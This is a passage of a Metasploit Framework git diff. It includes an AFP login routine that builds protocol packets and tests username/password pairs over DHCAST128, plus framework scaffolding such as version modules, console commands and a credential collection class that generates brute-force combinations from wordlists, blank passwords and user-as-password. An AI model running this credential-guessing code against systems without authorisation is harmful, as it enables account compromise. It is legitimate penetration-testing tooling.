[next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x06" # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x01" # Attention Quantum + packet << "\x04" # Length + packet << "\x00\x00\x04\x00" # 1024 + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_open_session_response(response) + end + + def login(user, pass) + if user == '' + return no_user_authent_login + end + + p = OpenSSL::BN.new("BA2873DFB06057D43F2024744CEEE75B", 16) + g = OpenSSL::BN.new("7", 10) + ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16) + ma = g.mod_exp(ra, p) + + padded_user = (user.length + 1) % 2 != 0 ? user + "\x00" : user + bin_user = [padded_user.length, padded_user].pack("Ca*") + + length = 18 + bin_user.length + ma.to_s(2).length + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [length].pack('N') # Length (42) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" # AFPVersion: AFP3.1 + packet << "\x09\x44\x48\x43\x41\x53\x54\x31\x32\x38" #UAM: DHCAST128 + packet << bin_user # username + packet << ma.to_s(2) # random number + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + #vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + case error_code + when -5001 #kFPAuthContinue + return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma, + :password => pass, :user => user}) + when -5023 #kFPUserNotAuth (User dosen't exists) + #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + return :skip_user + else + return :connection_error + end + + end + + def close_session + packet = "\00" # Flag: Request + packet << "\x01" # Command: DSICloseSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" #Data offset + packet << "\x00\x00\x00\x00" #Length + packet << "\x00\x00\x00\x00" #Reserved + + sock.put(packet) + end + + def no_user_authent_login + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x18" # Length (24) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1 + packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + if error_code == 0 + return :true + else + return false + end + end + + def parse_login_response_add_send_login_count(response, data) + dhx_s2civ = 'CJalbert' + dhx_c2civ = 'LWallace' + + flags, command, request_id, error_code, length, reserved = parse_header(response) + body = get_body(response, length) + id, mb, enc_data = body.unpack("nH32a*") + + mb = OpenSSL::BN.new(mb, 16) + k = mb.mod_exp(data[:ra], data[:p] ) + + cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_s2civ + cipher.padding = 0 + + nonce = cipher.update(enc_data) + nonce << cipher.final + nonce = nonce[0..15] + nonce = OpenSSL::BN.new(nonce, 2) + 1 + + plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00") + cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_c2civ + auth_response = cipher.update(plain_text) + auth_response << cipher.final + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [auth_response.length + 2].pack("N") # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x13" # AFPCommand: FPLoginCont (19) + packet << "\x00" + packet << [id].pack('n') + packet << auth_response + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + if error_code == 0 + return true + else + return false + end + end + + def parse_open_session_response(response) + _, _, _, error_code, _, _ = parse_header(response) + return error_code == 0 ? true : false + end + + def parse_info_response(response) + parsed_data = {} + + flags, command, request_id, error_code, length, reserved = parse_header(response) + raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + body = get_body(response, length) + machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = + body.unpack('nnnnn') + + server_name_length = body.unpack('@10C').first + parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first + + pos = 11 + server_name_length + pos += 1 if pos % 2 != 0 #padding + + server_signature_offset, network_addresses_offset, directory_names_offset, + utf8_servername_offset = body.unpack("@#{pos}nnnn") + + parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) + parsed_data[:versions] = read_array(body, afp_versions_offset) + parsed_data[:uams] = read_array(body, uam_count_offset) + # skiped icon + parsed_data[:server_flags] = parse_flags(server_flags) + parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first + + network_addresses = read_array(body, network_addresses_offset, true) + parsed_data[:network_addresses] = parse_network_addresses(network_addresses) + # skiped directory names + #Error catching for offset issues on this field. Need better error ahndling all through here + begin + parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) + rescue + parsed_data[:utf8_server_name] = "N/A" + end + + return parsed_data + end + + def parse_header(packet) + header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order + header[3] = packet[4..7].reverse.unpack("l").first + return header + end + + def get_body(packet, body_length) + body = packet[16..body_length + 15] + raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + return body + end + + def read_pascal_string(str, offset) + length = str.unpack("@#{offset}C").first + return str.unpack("@#{offset + 1}A#{length}").first + end + + def read_utf8_pascal_string(str, offset) + length = str.unpack("@#{offset}n").first + return str[offset + 2..offset + length + 1] + end + + def read_array(str, offset, afp_network_address=false) + size = str.unpack("@#{offset}C").first + pos = offset + 1 + + result = [] + size.times do + result << read_pascal_string(str, pos) + pos += str.unpack("@#{pos}C").first + pos += 1 unless afp_network_address + end + return result + end + + def parse_network_addresses(network_addresses) + parsed_addreses = [] + network_addresses.each do |address| + case address.unpack('C').first + when 0 #Reserved + next + when 1 # Four-byte IP address + parsed_addreses << IPAddr.ntop(address[1..4]).to_s + when 2 # Four-byte IP address followed by a two-byte port number + parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" + when 3 # DDP address (depricated) + next + when 4 # DNS name (maximum of 254 bytes) + parsed_addreses << address[1..address.length - 1] + when 5 # This functionality is deprecated. + next + when 6 # IPv6 address (16 bytes) + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]" + when 7 # IPv6 address (16 bytes) followed by a two-byte port number + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" + else # Something wrong? + raise "Error parsing network addresses" + end + end + return parsed_addreses + end + + def parse_flags(flags) + flags = flags.to_s(2) + result = {} + result['Super Client'] = flags[0,1] == '1' ? true : false + result['UUIDs'] = flags[5,1] == '1' ? true : false + result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false + result['Open Directory'] = flags[7,1] == '1' ? true : false + result['Reconnect'] = flags[8,1] == '1' ? true : false + result['Server Notifications'] = flags[9,1] == '1' ? true : false + result['TCP/IP'] = flags[10,1] == '1' ? true : false + result['Server Signature'] = flags[11,1] == '1' ? true : false + result['Server Messages'] = flags[12,1] == '1' ? true : false + result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false + result['Password Changing'] = flags[14,1] == '1' ? true : false + result['Copy File'] = flags[5,1] == '1' ? true : false + return result + end + + end + end + + end +end + diff --git a/lib/metasploit/framework/api.rb b/lib/metasploit/framework/api.rb new file mode 100644 index 0000000000..b643aec8b2 --- /dev/null +++ b/lib/metasploit/framework/api.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module API + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/api/version.rb b/lib/metasploit/framework/api/version.rb new file mode 100644 index 0000000000..9b6fce0da0 --- /dev/null +++ b/lib/metasploit/framework/api/version.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + module API + # @note This is a like. The API version is not semantically version and it's version has actually never changed + # even though API changes have occured. DO NOT base compatibility on this version. + module Version + MAJOR = 1 + MINOR = 0 + PATCH = 0 + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" + GEM_VERSION = Gem::Version.new(VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/command.rb b/lib/metasploit/framework/command.rb new file mode 100644 index 0000000000..63c614f470 --- /dev/null +++ b/lib/metasploit/framework/command.rb @@ -0,0 +1,26 @@ +# +# Gems +# + +# have to be exact so minimum is loaded prior to parsing arguments which could +# influence loading. +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::Command} namespace because commands need to be able +# to be required directly without any other part of metasploit-framework +# besides config/boot so that the commands can parse arguments, setup +# RAILS_ENV, and load config/application.rb correctly. +module Metasploit + module Framework + module Command + # Namespace for commands for metasploit-framework. There are + # corresponding classes in the {Metasploit::Framework::ParsedOptions} + # namespace, which handle for parsing the options for each command. + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb new file mode 100644 index 0000000000..62b3515a2a --- /dev/null +++ b/lib/metasploit/framework/command/base.rb @@ -0,0 +1,108 @@ +# +# Gems +# + +require 'active_support/core_ext/module/introspection' + +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/parsed_options' +require 'metasploit/framework/require' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Base + # + # Attributes + # + + # @!attribute [r] application + # The Rails application for metasploit-framework. + # + # @return [Metasploit::Framework::Application] + attr_reader :application + + # @!attribute [r] parsed_options + # The parsed options from the command line. + # + # @return (see parsed_options) + attr_reader :parsed_options + + # + # Class Methods + # + + # @note {require_environment!} should be called to load + # `config/application.rb` to so that the RAILS_ENV can be set from the + # command line options in `ARGV` prior to `Rails.env` being set. + # @note After returning, `Rails.application` will be defined and configured. + # + # Parses `ARGV` for command line arguments to configure the + # `Rails.application`. + # + # @return (see parsed_options) + def self.require_environment! + parsed_options = self.parsed_options + # RAILS_ENV must be set before requiring 'config/application.rb' + parsed_options.environment! + ARGV.replace(parsed_options.positional) + + # allow other Rails::Applications to use this command + if !defined?(Rails) || Rails.application.nil? + # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40 + require Pathname.new(__FILE__).parent.parent.parent.parent.parent.join('config', 'application') + end + + # have to configure before requiring environment because + # config/environment.rb calls initialize! and the initializers will use + # the configuration from the parsed options. + parsed_options.configure(Rails.application) + + Rails.application.require_environment! + + parsed_options + end + + def self.parsed_options + parsed_options_class.new + end + + def self.parsed_options_class + @parsed_options_class ||= parsed_options_class_name.constantize + end + + def self.parsed_options_class_name + @parsed_options_class_name ||= "#{parent.parent}::ParsedOptions::#{name.demodulize}" + end + + def self.start + parsed_options = require_environment! + new(application: Rails.application, parsed_options: parsed_options).start + end + + # + # Instance Methods + # + + # @param attributes [Hash{Symbol => ActiveSupport::OrderedOptions,Rails::Application}] + # @option attributes [Rails::Application] :application + # @option attributes [ActiveSupport::OrderedOptions] :parsed_options + # @raise [KeyError] if :application is not given + # @raise [KeyError] if :parsed_options is not given + def initialize(attributes={}) + @application = attributes.fetch(:application) + @parsed_options = attributes.fetch(:parsed_options) + end + + # @abstract Use {#application} to start this command. + # + # Starts this command. + # + # @return [void] + # @raise [NotImplementedError] + def start + raise NotImplementedError + end +end diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb new file mode 100644 index 0000000000..82a4c892e9 --- /dev/null +++ b/lib/metasploit/framework/command/console.rb @@ -0,0 +1,88 @@ +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/command/base' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base + + # Provides an animated spinner in a seperate thread. + # + # See GitHub issue #4147, as this may be blocking some + # Windows instances, which is why Windows platforms + # should simply return immediately. + + def spinner + return if Rex::Compat.is_windows + return if Rex::Compat.is_cygwin + return if $msf_spinner_thread + $msf_spinner_thread = Thread.new do + $stderr.print "[*] Starting the Metasploit Framework console..." + loop do + %q{/-\|}.each_char do |c| + $stderr.print c + $stderr.print "\b" + end + end + end + end + + def start + case parsed_options.options.subcommand + when :version + $stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}" + else + spinner unless parsed_options.options.console.quiet + driver.run + end + end + + private + + # The console UI driver. + # + # @return [Msf::Ui::Console::Driver] + def driver + unless @driver + # require here so minimum loading is done before {start} is called. + require 'msf/ui' + + @driver = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + driver_options + ) + end + + @driver + end + + def driver_options + unless @driver_options + options = parsed_options.options + + driver_options = {} + driver_options['Config'] = options.framework.config + driver_options['ConfirmExit'] = options.console.confirm_exit + driver_options['DatabaseEnv'] = options.environment + driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths + driver_options['DatabaseYAML'] = options.database.config + driver_options['DeferModuleLoads'] = options.modules.defer_loads + driver_options['Defanged'] = options.console.defanged + driver_options['DisableBanner'] = options.console.quiet + driver_options['DisableDatabase'] = options.database.disable + driver_options['LocalOutput'] = options.console.local_output + driver_options['ModulePath'] = options.modules.path + driver_options['Plugins'] = options.console.plugins + driver_options['RealReadline'] = options.console.real_readline + driver_options['Resource'] = options.console.resources + driver_options['XCommands'] = options.console.commands + + @driver_options = driver_options + end + + @driver_options + end +end diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb new file mode 100644 index 0000000000..58067fa982 --- /dev/null +++ b/lib/metasploit/framework/common_engine.rb @@ -0,0 +1,84 @@ +# +# Standard Library +# + +require 'fileutils' + +# +# Metasploit gem engines +# + +require 'metasploit/model/engine' +require 'metasploit/concern/engine' +Metasploit::Framework::Require.optionally_require_metasploit_db_gem_engines + +# `Rails::Engine` behavior common to both {Metasploit::Framework::Application} and {Metasploit::Framework::Engine}. +module Metasploit::Framework::CommonEngine + extend ActiveSupport::Concern + + included do + # + # config + # + + # Force binary encoding to remove necessity to set external and internal encoding when construct Strings from + # from files. Socket#read always returns a String in ASCII-8bit encoding + # + # @see http://rubydoc.info/stdlib/core/IO:read + config.before_initialize do + encoding = 'binary' + Encoding.default_external = encoding + Encoding.default_internal = encoding + end + + config.root = Msf::Config::install_root + config.paths.add 'data/meterpreter', glob: '**/ext_*' + config.paths.add 'modules' + + config.active_support.deprecation = :notify + + # + # `initializer`s + # + + initializer 'metasploit_framework.merge_meterpreter_extensions' do + Rails.application.railties.engines.each do |engine| + merge_meterpreter_extensions(engine) + end + + # The Rails.application itself could have paths['data/meterpreter'], but will not be part of + # Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned. + merge_meterpreter_extensions(Rails.application) + end + end + + # + # Instance Methods + # + + private + + # Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`. + # + # @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions + # @return [void] + # @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them. + def merge_meterpreter_extensions(engine) + data_meterpreter_paths = engine.paths['data/meterpreter'] + + # may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set. + if data_meterpreter_paths + source_paths = data_meterpreter_paths.existent + destination_directory = root.join('data', 'meterpreter').to_path + + source_paths.each do |source_path| + basename = File.basename(source_path) + destination_path = File.join(destination_directory, basename) + + unless destination_path == source_path + FileUtils.copy(source_path, destination_directory) + end + end + end + end +end diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb new file mode 100644 index 0000000000..fdeddb4a96 --- /dev/null +++ b/lib/metasploit/framework/community_string_collection.rb @@ -0,0 +1,74 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + + # This class is responsible for taking datastore options from the snmp_login module + # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. + # This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} + # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy + # module used. However, community Strings are now considered more to be public credentials than private ones. + class CommunityStringCollection + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + begin + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + pass_fd.each_line do |line| + line.chomp! + yield Metasploit::Framework::Credential.new(public: line, paired: false) + end + end + + if password.present? + yield Metasploit::Framework::Credential.new(public: password, paired: false) + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + end + end +end diff --git a/lib/metasploit/framework/core.rb b/lib/metasploit/framework/core.rb new file mode 100644 index 0000000000..cc94d23f88 --- /dev/null +++ b/lib/metasploit/framework/core.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module Core + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb new file mode 100644 index 0000000000..c02069540b --- /dev/null +++ b/lib/metasploit/framework/core/version.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/version' + +module Metasploit + module Framework + # @note This is a lie. The core libraries are not semantically versioned. This is currently just linked to the + # Metasploit::Framework::Version, which is also not semantically versioned. + module Core + module Version + MAJOR = Metasploit::Framework::Version::MAJOR + MINOR = Metasploit::Framework::Version::MINOR + PATCH = Metasploit::Framework::Version::PATCH + PRERELEASE = Metasploit::Framework::Version::PRERELEASE + end + + VERSION = Metasploit::Framework::VERSION + GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/credential.rb b/lib/metasploit/framework/credential.rb new file mode 100644 index 0000000000..4915f5f56b --- /dev/null +++ b/lib/metasploit/framework/credential.rb @@ -0,0 +1,119 @@ +require 'active_model' + +module Metasploit + module Framework + # This class provides an in-memory representation of a conceptual Credential + # + # It contains the public, private, and realm if any. + class Credential + include ActiveModel::Validations + + # @!attribute paired + # @return [Boolean] Whether BOTH a public and private are required + # (defaults to `true`) + attr_accessor :paired + # @!attribute parent + # @return [Object] the parent object that had .to_credential called on it to create this object + attr_accessor :parent + # @!attribute private + # The private credential component (e.g. username) + # + # @return [String] if {#paired} is `true` or {#private} is `nil` + # @return [String, nil] if {#paired} is `false` or {#private} is not `nil`. + attr_accessor :private + # @!attribute private_type + # The type of private credential this object represents, e.g. a + # password or an NTLM hash. + # + # @return [String] + attr_accessor :private_type + # @!attribute public + # The public credential component (e.g. password) + # + # @return [String] if {#paired} is `true` or {#public} is `nil` + # @return [String, nil] if {#paired} is `false` or {#public} is not `nil`. + attr_accessor :public + # @!attribute realm + # @return [String,nil] The realm credential component (e.g domain name) + attr_accessor :realm + # @!attribute realm + # @return [String,nil] The type of {#realm} + attr_accessor :realm_key + + validates :paired, + inclusion: { in: [true, false] } + + # If we have no public we MUST have a private (e.g. SNMP Community String) + validates :private, + exclusion: { in: [nil] }, + if: "public.nil? or paired" + + # These values should be #demodularized from subclasses of + # `Metasploit::Credential::Private` + validates :private_type, + inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] }, + if: "private_type.present?" + + # If we have no private we MUST have a public + validates :public, + presence: true, + if: "private.nil? or paired" + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + + self.paired = true if self.paired.nil? + end + + def inspect + "#<#{self.class} \"#{self}\" >" + end + + def to_s + if realm && realm_key == Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + "#{self.realm}\\#{self.public}:#{self.private}" + else + "#{self.public}:#{self.private}#{at_realm}" + end + end + + def ==(other) + other.respond_to?(:public) && other.public == self.public && + other.respond_to?(:private) && other.private == self.private && + other.respond_to?(:realm) && other.realm == self.realm + end + + def to_credential + self.parent = self + self + end + + # This method takes all of the attributes of the {Credential} and spits + # them out in a hash compatible with the create_credential calls. + # + # @return [Hash] a hash compatible with #create_credential + def to_h + { + private_data: private, + private_type: private_type, + username: public, + realm_key: realm_key, + realm_value: realm + } + end + + private + + def at_realm + if self.realm.present? + "@#{self.realm}" + else + "" + end + end + end + end +end diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb new file mode 100644 index 0000000000..7c1b2f3298 --- /dev/null +++ b/lib/metasploit/framework/credential_collection.rb @@ -0,0 +1,218 @@ +require 'metasploit/framework/credential' + +class Metasploit::Framework::CredentialCollection + + # @!attribute additional_privates + # Additional privates to be combined + # + # @return [Array] + attr_accessor :additional_privates + + # @!attribute additional_publics + # Additional public to be combined + # + # @return [Array] + attr_accessor :additional_publics + + # @!attribute blank_passwords + # Whether each username should be tried with a blank password + # @return [Boolean] + attr_accessor :blank_passwords + + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @!attribute realm + # @return [String] + attr_accessor :realm + + # @!attribute user_as_pass + # Whether each username should be tried as a password for that user + # @return [Boolean] + attr_accessor :user_as_pass + + # @!attribute user_file + # Path to a file containing usernames, one per line + # @return [String] + attr_accessor :user_file + + # @!attribute username + # @return [String] + attr_accessor :username + + # @!attribute userpass_file + # Path to a file containing usernames and passwords separated by a space, + # one pair per line + # @return [String] + attr_accessor :userpass_file + + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + self.additional_privates ||= [] + self.additional_publics ||= [] + end + + # Adds a string as an addition private credential + # to be combined in the collection. + # + # @param [String] :private_str the string to use as a private + # @return [void] + def add_private(private_str='') + additional_privates << private_str + end + + # Adds a string as an addition public credential + # to be combined in the collection. + # + # @param [String] :public_str the string to use as a public + # @return [void] + def add_public(public_str='') + additional_publics << public_str + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if username.present? + if password.present? + yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password)) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + + if user_file.present? + File.open(user_file, 'r:binary') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + if password.present? + yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + end + end + + if userpass_file.present? + File.open(userpass_file, 'r:binary') do |userpass_fd| + userpass_fd.each_line do |line| + user, pass = line.split(" ", 2) + if pass.blank? + pass = '' + else + pass.chomp! + end + yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) + end + end + end + + additional_publics.each do |add_public| + if password.present? + yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + + private + + def private_type(private) + if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ + :ntlm_hash + else + :password + end + end + +end diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 78d3525cf5..611776d3f0 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -1,14 +1,100 @@ require 'metasploit/framework' +require 'msf/base/config' module Metasploit module Framework module Database - def self.configurations - YAML.load_file(configurations_pathname) + # + # CONSTANTS + # + + CONFIGURATIONS_PATHNAME_PRECEDENCE = [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + + # + # Module Methods + # + + # Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. + # + # @param options [Hash{Symbol=>String}] + # @option options [String] :path Path to use instead of first element of {configurations_pathnames} + # @return [Pathname] if configuration pathname exists. + # @return [nil] if configuration pathname does not exist. + def self.configurations_pathname(options={}) + options.assert_valid_keys(:path) + + path = options[:path] + + if path.present? + pathname = Pathname.new(path) + else + pathname = configurations_pathnames.first + end + + if pathname.present? && pathname.exist? + pathname + else + nil + end end - def self.configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # Return configuration pathnames that exist. + # + # Returns `Pathnames` in order of precedence + # + # 1. {environment_configurations_pathname} + # 2. {user_configurations_pathname} + # 3. {project_configurations_pathname} + # + # @return [Array] + def self.configurations_pathnames + configurations_pathnames = [] + + CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message| + configurations_pathname = public_send(configurations_pathname_message) + + if !configurations_pathname.nil? && configurations_pathname.exist? + configurations_pathnames << configurations_pathname + end + end + + configurations_pathnames + end + + # Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable. + # + # @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank. + # @return [nil] otherwise + def self.environment_configurations_pathname + msf_database_config = ENV['MSF_DATABASE_CONFIG'] + + if msf_database_config.blank? + msf_database_config = nil + else + msf_database_config = Pathname.new(msf_database_config) + end + + msf_database_config + end + + # Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`. + # + # @return [Pathname] + def self.project_configurations_pathname + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent + root.join('config', 'database.yml') + end + + # Pathname to `database.yml` in the user's config directory. + # + # @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default). + # @return [nil] if the user does not have a `database.yml` in their config directory. + def self.user_configurations_pathname + Pathname.new(Msf::Config.get_config_root).join('database.yml') end end end diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb new file mode 100644 index 0000000000..562504c88b --- /dev/null +++ b/lib/metasploit/framework/database/cucumber.rb @@ -0,0 +1,36 @@ +require 